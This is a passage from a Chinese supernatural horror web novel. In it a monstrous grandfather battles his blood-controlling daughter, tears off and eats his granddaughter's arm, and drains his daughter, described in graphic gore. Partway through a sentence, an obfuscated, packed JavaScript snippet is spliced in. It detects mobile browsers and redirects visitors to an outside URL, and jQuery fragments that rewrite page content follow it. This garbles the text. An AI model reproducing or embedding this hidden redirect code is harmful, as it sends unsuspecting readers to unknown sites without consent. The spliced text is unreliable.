仿佛被戳中了什么看不见的秘密,江恨白手中的符咒差点掉落:“你……你说什么?”
“他闻起来味道不错,”郑有德舔.了.舔脱皮的嘴唇,“可惜跑了,你知道他去哪里了吗?嗯?你们是双胞胎吧?那你肯定知道他在哪里对不对?”
就在江恨白分神的那一瞬,郑有德改变方向,猛地向他冲去,舒厌急忙拦截,却被郑有德以一种不可思议的角度绕过。
诊所深处突然传来一声凄厉的尖叫。
一个中年妇女踉跄着冲了出来,她惨白如纸,手臂布满蛛网般的血丝,那些血丝活物般在她皮肤下蠕动
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289447|181112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“妈妈!”小童惊呼。
陈鸿雁看到小童,再看向郑有德,眼中满是愤怒和惊惧:“小童,快跑!那不是你外公!”
她的话被郑有德的咆哮打断。
看到陈鸿雁,郑有德眼中爆发出更加疯狂的贪婪:“鸿雁,我的好女儿,你跑得可真快,我可找了你好久呢。”
“离我女儿远点!”陈鸿雁大喊,她眼里的恐惧很快消散,被势要守护女儿的决绝所取代,操纵着地上虬结的血状根脉朝郑有德猛抽。
郑有德则干脆顺着伤口一掰手腕,那只受伤的手掌居然被他硬生生扯了下来,他似乎无法操控室内现存的血丝,只能改造自己体内的血液作为武器,他体内流出的血时而如网束缚,时而如针穿刺,朝陈鸿雁发起攻击。
父女之间的互殴以一种超乎想象的方式展开。
这个情形是几人万万没有预料到的,舒厌暂时退到一旁观察战局,手中的武器随时准备出击,蚩蓠也乐得看他们狗咬狗,伦理戏码,什么年代都好看的咧。
陈鸿雁速度和力量更为惊人,室内所有可见的血丝都听从她的指令,她所汇集的血丝根脉粗大,抽出的力道狠辣无情。
这地面的三十几人恐怕都是她的“杰作”。
巨鞭抽打在郑有德头上,他青黑的脸颊爆开手指粗细的裂口,左眼的玻璃体瞬间布满血丝,眼皮裂成两半,下唇也一分为二,露出带血的裸.露牙龈。
“这就是血丝操控……”蚩蓠假装害怕,实际上她正在调动自己的力量去影响战局。
然而她无法像控制青魇那样轻易操控两人的力量,他们的异能中有一种与自己同源,但却更狂乱更强大的气息,让她联想到某个她最不愿意面对的存在。
战斗中,陈鸿雁逐渐占据上风,郑有德似乎因为饥饿处处吃瘪,就在他即将落败之际,突然虚晃一招,假装攻向陈鸿雁,实际上直扑小童而去。
“先吃点开胃小菜补补身子!”口涎从他二分为四的嘴唇淌了出来,他尖锐的指甲划向小童的手臂。
陈鸿雁惊呼一声,全力扑向小童,试图用身体护住女儿。
“嗤啦!”随着一声撕裂,小童的左臂被整条扯下,鲜血喷涌而出,她发出凄厉的惨叫,瘫倒在地。
“不!”陈鸿雁撕心裂肺地哭喊,眼中最后一丝人性也被绝望吞噬了。
整个诊所内的血丝,墙上的、地上的、仪器上的、甚至那些干尸体内残存的,都开始沸腾凝聚,化作无数血红色的尖刺,箭矢般射向郑有德。
郑有德还在咀嚼亲外孙美味的手臂,却被这突如其来的攻击重创,惨叫着躲避,身上插满了血刺。
陈鸿雁抱起女儿,泪水混合着血水滑落:“对不起,小童,妈妈对不起你,妈妈没能保护好你……”
就在这时,郑有德趁机偷袭,尖锐的牙齿狠狠咬在陈鸿雁的脖颈上。
“亲生女儿的血肉,才是最滋补的营养品。”他疯狂地吸食着,陈鸿雁被他死死箍住,无法动弹,不过几秒钟,她的身体已经干瘪得跟地上的尸体无异了。
“啊——不要!”小童拼尽全身力气拉扯郑有德,完全是蚍蜉撼树。
郑有德身上的伤口开始迅速愈合,他的体型更加庞大,眼睛完全变成了血红色,皮肤却从青灰变得与常人无异。
他反手抓住小童另一只完好的胳膊。
“完了!”江恨白喃喃道,“他吞噬了那女人的异能!”
“嗯,他进化到S级了,必须马上制服。”舒厌看了眼蚩蓠,眼神复杂,但没有言及太多。
“长官,我已经呼叫救援了,你可千万挺住啊。”蚩蓠假装害怕地躲到他身后,心中却波涛汹涌,她感到郑有德体内那股属于夜璃的力量越来越强烈了。
战斗一触即发,而诊所外的血丝,正如活物般悄然蔓延,将整个鸽笼巷笼罩在一片血色恐怖之中。